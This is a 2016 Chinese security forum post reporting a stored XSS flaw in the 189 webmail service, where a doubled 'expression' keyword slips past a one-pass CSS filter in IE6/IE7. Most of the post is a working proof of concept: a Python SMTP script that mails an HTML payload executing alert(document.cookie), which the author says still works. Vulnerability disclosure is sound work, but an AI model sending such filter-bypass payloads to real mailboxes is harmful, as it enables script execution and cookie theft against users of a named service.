九零登录

[【通过】] 189邮箱xss漏洞

[复制链接]
发表于 2016-12-22 10:14:31 | 显示全部楼层 |阅读模式
1、说明
该漏洞是利用189邮箱对css样式过滤不严格,expression 对这个字段只进行了一次过滤。如发送 expreexpressionssion  就可以绕过服务器检测
(ps:该漏洞只适用于 IE6  IE7 浏览器)

2、poc
[Bash shell] 纯文本查看 复制代码
#coding=utf-8

import smtplib
from email.mime.text import MIMEText



mailHost = "smtp.sina.com:25"   
mailUser = "新浪邮箱账号"
mailPW = "新浪邮箱密码"
mailtoList = ["这里是发送到的189邮箱"]

def main():
    content='1</body></html></div><diV STyle="widTh:expreexpressionssion(alert(document.cookie));">'
    me = "hello" + '<' + mailUser + '>'
    msg = MIMEText(content , _subtype = 'html' , _charset = 'gb2312')
    msg['Subject'] = "hello"
    msg['From'] = me
    msg['To'] = ";".join(mailtoList)
    
    try:
        s = smtplib.SMTP()
        s.connect(mailHost)
        s.login(mailUser , mailPW)
        s.sendmail(me , mailtoList , msg.as_string())
        s.close()
        
        return True
    except Exception ,e:
        print str(e)
        return False
    

if __name__ == '__main__':
    main()



3、截图
点击图片显示乱码,就不上传了图片,该漏洞现在还是可以使用的

评分

参与人数 1酒票 +5 收起 理由
管理05 + 5 欢迎加入90!

查看全部评分

发表于 2016-12-22 11:30:52 | 显示全部楼层
图片是可以上传的 测试正常

九零

GMT+8, 2026-10-22 15:18

Powered by Discuz! X3.5

© 2001-2026 Discuz! Team.

快速回复 返回顶部 返回列表